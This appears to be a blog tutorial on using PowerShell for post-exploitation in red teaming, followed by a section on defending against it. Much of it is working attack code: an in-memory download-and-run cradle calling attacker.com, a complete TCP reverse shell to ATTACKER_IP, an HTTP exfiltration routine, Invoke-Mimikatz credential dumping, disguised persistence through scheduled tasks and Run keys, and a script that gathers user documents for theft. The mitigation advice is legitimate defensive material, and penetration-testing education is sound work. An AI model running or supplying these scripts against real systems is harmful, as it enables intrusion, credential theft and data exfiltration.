Hey everyone!
If you’re involved in red teaming, penetration testing, or just love exploring the offensive side of cybersecurity, you’ve probably got a toolkit filled with favorites like Metasploit, Cobalt Strike, or maybe some custom Python scripts. But there’s a powerful tool often lurking right under our noses, pre-installed on nearly every modern Windows system: PowerShell.
While sometimes dismissed as just an administration shell or overlooked in favor of other tools, PowerShell is an incredibly potent framework for post-exploitation activities. Once initial access is gained, it allows attackers to “live off the land,” blending in with legitimate administrative tasks, maintaining persistence, escalating privileges, exfiltrating data, and often bypassing traditional security controls like antivirus (AV) and endpoint detection and response (EDR) solutions.
This article digs into the reasons behind PowerShell’s efficiency, examines useful methods and real-world scripts that red teamers utilize and discusses critical mitigation tactics for defenders. This guide will help you increase your PowerShell toolset and gain a deeper grasp of fundamental post-exploitation.
Ready to power up your post-exploitation game? Let’s get started.
Table of Contents
Open Table of Contents
Why PowerShell is a Post-Exploitation Powerhouse
So, what makes PowerShell stand out in the crowded field of hacking tools? Let’s break it down:
-
Native Presence: This is huge. PowerShell is built into Windows (version 7 onwards). This means no need to drop extra binaries onto a target system, significantly reducing the risk of detection by security solutions looking for known malicious executables. You’re using legitimate, signed Microsoft tools already present on workstations and servers.
-
Flexibility and Power: PowerShell isn’t just a command line; it’s a full-fledged scripting language built on the .NET Framework. This gives you direct access to a vast range of system functionalities: WMI (Windows Management Instrumentation), COM objects, the Windows API, the registry, file system manipulation, network communication – you name it. Its versatility makes it suitable for nearly any post-exploitation task.
-
Memory Execution: PowerShell allows scripts and commands to be executed directly in memory without writing them to disk. Techniques like using
Invoke-Expression (IEX)
withDownloadString
(IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
) are common ways attackers pull down and run payloads stealthily. -
AV Evasion Potential: While not foolproof (especially with advancements like AMSI - Antimalware Scan Interface), PowerShell’s ability to run filelessly, coupled with obfuscation techniques, can often bypass signature-based AV detection. It can also blend in with legitimate admin traffic, making behavioral detection harder. Many security products whitelist PowerShell execution due to its legitimate uses.
-
Remote Management Capabilities: Features like PowerShell Remoting (WinRM) provide built-in mechanisms for executing commands on remote machines, facilitating lateral movement across a network without deploying additional tools.
Common PowerShell Post-Exploitation Techniques
Once you have initial access and a PowerShell prompt (even a non-privileged one), the real fun begins. Here are some core post-exploitation activities where PowerShell shines:
Troubleshooting Script Execution
If you encounter issues running your PowerShell script due to execution policy restrictions, run the following command:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
This command modifies the execution policy for your current user account only, allowing scripts to run without restrictions.
1. Enumerating System Information (Situational Awareness)
Knowing the landscape is crucial. PowerShell makes gathering intel quick and effective:
- System Info:
Get-ComputerInfo
,Get-WmiObject Win32_OperatingSystem
(provides OS version, architecture, RAM, etc.) - User & Group Info:
Get-LocalUser
,Get-LocalGroup
,whoami /all
,query user
,Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
(reveals logged-in user) - Network Config:
Get-NetIPConfiguration
,Get-NetIPAddress
,Get-NetTCPConnection
(like netstat) - Running Processes:
Get-Process
- Domain Information (if domain-joined): Requires the Active Directory module or custom functions (e.g., PowerView from PowerSploit). Examples using the AD module:
Get-ADComputer -Filter * | Select-Object Name,OperatingSystem
,Get-ADUser -Filter * -Properties MemberOf | Select-Object Name,MemberOf
Example Snippet (Network Info):
# Get detailed IP configuration for all adapters
Get-NetIPConfiguration | Format-Table InterfaceAlias, InterfaceDescription, IPv4Address, IPv4DefaultGateway, DNSServer -AutoSize
# Get active TCP connections and the process associated with them
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="ProcessName";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
2. Privilege Escalation
Got user-level access? You’ll often need admin rights. PowerShell can help identify and exploit opportunities:
-
Checking Permissions: Use
Get-Acl
on files, folders, registry keys, or services to find weak permissions you might be able to abuse (e.g., write access to a directory in the system’s PATH). -
Exploiting Services: Look for services with weak permissions (e.g., modify permissions) or unquoted service paths using
Get-WmiObject Win32_Service | Select Name, State, PathName, StartMode
. If you can modify the binary path or permissions, you might replace the executable or hijack DLLs. -
Bypassing User Account Control (UAC): Numerous techniques leverage specific Windows processes or COM objects to execute commands in a high-integrity context without triggering the UAC prompt. While specific bypasses change frequently, tools like PowerSploit’s PowerUp module (
Invoke-AllChecks
) automate searching for common misconfigurations and known UAC bypass vectors. Note: Relying on specific bypass scripts like older mshta methods can be unreliable as they get patched. -
Finding Stored Credentials: Scripts can search registry keys, configuration files, browser data, or PowerShell history for saved passwords or sensitive data.
3. Persistence Mechanisms
Maintaining access across reboots or logoffs is key. PowerShell provides several ways to achieve this:
-
Scheduled Tasks: Create a task that runs your payload periodically or on specific triggers (like user logon or system startup).
# Example: Create a task to run a script daily at 9 AM $Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:\path\to\your\payload.ps1" $Trigger = New-ScheduledTaskTrigger -Daily -At 9am # Register task to run as SYSTEM with highest privileges Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "MyPersistenceTask" -Description "Totally legit task." -User "SYSTEM" -RunLevel Highest
-
Registry Run Keys: Add entries to keys like
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
(user logon) orHKLM\Software\Microsoft\Windows\CurrentVersion\Run
(system startup, requires admin).# Example: Add a Run key entry for current user New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyUpdater" -Value "powershell.exe -WindowStyle Hidden -File C:\path\to\your\payload.ps1" -PropertyType String
-
WMI Event Subscriptions: A stealthier technique where you create a WMI event filter (e.g., monitoring for system uptime) and a consumer that executes your PowerShell code when the event occurs. This is more complex but often harder to detect than standard Run keys or Scheduled Tasks.
4. Command and Control (C2) Communication
PowerShell can be used to establish and maintain communication channels back to your C2 server:
-
HTTP/HTTPS: Use
Invoke-WebRequest
or theSystem.Net.WebClient
object to send/receive data over standard web ports, often bypassing simple firewall rules. Ideal for beaconing and data exfiltration.# Example: Sending system info out via POST request $Data = Get-ComputerInfo | Out-String $EncodedData = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Data)) Invoke-WebRequest -Uri http://your-c2-server.com/data_receiver -Method POST -Body @{id="compromised_host"; data=$EncodedData}
-
Basic TCP Reverse Shell: Establish a direct TCP connection back to an attacker-controlled listener for interactive command execution. Simpler but often blocked by firewalls and easily detectable.
# Example: Simple TCP Reverse Shell $client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP', 4444) # Attacker listens on port 4444 $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close()
-
DNS Tunneling: Encode data within DNS requests, which are often allowed even when direct web access is blocked. Requires a specialized C2 setup.
-
ICMP Tunneling: While less common and often blocked, PowerShell can craft ICMP packets to exfiltrate small amounts of data.
Frameworks like Empire, PoshC2, and Merlin heavily leverage PowerShell for their agent communication and task execution.
Practical PowerShell Script Examples (Use Ethically!)
1. Credential Dumping (via Invoke-Mimikatz)
What it does: Mimikatz is famous for extracting plaintext passwords, hashes, Kerberos tickets, etc., from memory, primarily targeting the LSASS process. Invoke-Mimikatz
is a PowerShell script (part of PowerSploit) that loads the Mimikatz reflective DLL directly into memory and executes its commands.
Why it’s effective: Avoids dropping the Mimikatz executable to disk, making it harder for basic AV to detect. Provides powerful credential access necessary for privilege escalation and lateral movement.
How to use it (Conceptual):
# Assumes Invoke-Mimikatz.ps1 is hosted on your server or locally
# Load the script into memory
IEX (New-Object Net.WebClient).DownloadString('http://your-server.com/Invoke-Mimikatz.ps1')
# OR: Import-Module .\Invoke-Mimikatz.ps1
# Execute Mimikatz commands, e.g., dump creds from LSASS
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'
Safety Note: Running Mimikatz is highly likely to be detected by modern EDR solutions and AMSI. It requires elevated privileges (Admin/SYSTEM) and can potentially destabilize the LSASS process if things go wrong (rare, but possible). Always test in a lab environment first.
2. Basic Lateral Movement (via Invoke-Command)
- What it does: Executes a command or script block on a remote machine using WinRM (Windows Remote Management), assuming you have credentials for that machine and WinRM is enabled/configured.
- Why it’s effective: Uses a native Windows administrative feature, making it look like legitimate remote management activity, potentially blending in with normal network traffic.
- How to use it:
# You need credentials for the remote machine (e.g., dumped via Mimikatz) $Target = "TARGET_MACHINE_NAME_OR_IP" $Cred = Get-Credential # Prompts for username/password OR use obtained credentials # Example: Run whoami on the remote machine Invoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { whoami } # Example: Copy a payload and execute it remotely Copy-Item -Path C:\path\to\payload.exe -Destination \\$Target\C$\temp\payload.exe Invoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { Start-Process C:\temp\payload.exe }
- Safety Note: Requires valid credentials and WinRM to be enabled/configured on the target. Network firewalls must allow WinRM traffic (TCP 5985/5986). Actions are often logged on the target machine if auditing is enabled.
3. Simple Data Exfiltration (Find and Zip Specific Files)
- What it does: Searches for sensitive files (e.g., documents based on keywords or extensions), compresses them, and prepares them for exfiltration.
- Why it’s effective: Uses native PowerShell cmdlets for file searching and compression (
Compress-Archive
requires PowerShell v5+), reducing reliance on external tools. - How to use it:
# Define search parameters $SearchPath = "C:\Users\" $FileTypes = @("*.docx", "*.xlsx", "*.pptx", "*.pdf", "*.txt") # Add relevant types $ZipPath = "C:\temp\stolen_docs.zip" # Choose a less obvious path/name # Find files (can be noisy and time-consuming) $FilesToZip = Get-ChildItem -Path $SearchPath -Include $FileTypes -Recurse -ErrorAction SilentlyContinue if ($FilesToZip) { try { # Compress files (Requires PowerShell v5+) Compress-Archive -Path $FilesToZip.FullName -DestinationPath $ZipPath -Force -ErrorAction Stop Write-Host "Files zipped to $ZipPath" # Add exfiltration step here (e.g., using Invoke-WebRequest as shown in C2 section) # $EncodedZip = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($ZipPath)) # Invoke-WebRequest -Uri http://your-c2/upload -Method POST -Body @{file=$EncodedZip} # Clean up the zip file (optional, but good practice) # Remove-Item $ZipPath -Force } catch { Write-Warning "Error during zipping or exfiltration: $($_.Exception.Message)" } } else { Write-Host "No matching files found." }
- Safety Note: Large file searches and compression can be resource-intensive and trigger performance alerts or EDR heuristics. Exfiltration over HTTP/DNS can be detected by network monitoring (DLP, proxy logs). Handle sensitive data responsibly and ethically.
Mitigations and Defenses: Protecting Against Malicious PowerShell
Okay blue teamers and defenders, how do we counter this? Defending against PowerShell abuse requires a layered approach:
- PowerShell Logging: This is critical. Enable and centralize logs:
- Module Logging (Event ID 4103): Records pipeline execution details, including snippets of de-obfuscated scripts. Can be verbose but useful.
- Script Block Logging (Event ID 4104): Logs the full content of script blocks as they are compiled/executed, after de-obfuscation. Extremely valuable for seeing exactly what code ran. Captures interactive commands too.
- Transcription: Saves complete input and output of PowerShell sessions to text files (can be resource-intensive).
- Centralize Logs: Forward these logs to a SIEM for analysis, correlation, and alerting on suspicious patterns.
- Execution Policy: While not a security boundary (easily bypassed with
-ExecutionPolicy Bypass
or via other means), setting it toRemoteSigned
orAllSigned
via Group Policy can prevent users from casually running unsigned scripts downloaded from the internet.Restricted
(default on clients) is better but often impractical. UseSet-ExecutionPolicy RemoteSigned -Scope LocalMachine
as a baseline, but don’t rely on it solely for security. - Constrained Language Mode: When PowerShell runs in this mode (e.g., enforced by AppLocker/WDAC policies or JEA), it severely limits access to sensitive language elements like .NET scripting, COM objects, and many Windows APIs, effectively neutering many advanced attack techniques.
- Application Control (AppLocker/WDAC): Configure policies to define what scripts and executables are allowed to run based on path, hash, or publisher rules. This can explicitly block unauthorized PowerShell scripts or restrict PowerShell itself to specific signed scripts.
- Antimalware Scan Interface (AMSI): Ensure your AV/EDR solution properly integrates with AMSI. This interface allows security tools to inspect script contents (in memory, before execution) even if they are obfuscated or fileless. While attackers do have AMSI bypass techniques, it raises the bar significantly.
- Just Enough Administration (JEA): Configure specific endpoints where administrators connect using highly restricted, role-based PowerShell sessions that only grant the minimum permissions needed for their task, often running under temporary, low-privilege virtual accounts.
- Endpoint Detection and Response (EDR): Modern EDR solutions are crucial. They monitor process execution chains (e.g., Word spawning PowerShell), command-line arguments (looking for Base64 encoding,
IEX
,DownloadString
), network connections, unusual API calls, and behavioral patterns to detect suspicious PowerShell activity. - Principle of Least Privilege: Enforce this rigorously. Ensure users and even administrators only have the permissions absolutely necessary for their roles. This limits the impact if an account is compromised and reduces opportunities for privilege escalation.
Wrapping Up
PowerShell is undeniably a double-edged sword. For administrators, it’s an essential automation and management tool. For attackers, it’s a powerful, stealthy, built-in post-exploitation framework ideal for “living off the land.”
Understanding how PowerShell can be leveraged offensively is crucial for both red teamers looking to refine their tradecraft and blue teamers aiming to build robust defenses. By implementing a layered defense strategy—embracing robust logging, application control, constrained language mode, JEA, and modern EDR solutions—organizations can significantly detect, mitigate, and respond to the risk posed by malicious PowerShell use.
Keep experimenting, keep learning, and always use your skills ethically and responsibly! Happy hacking!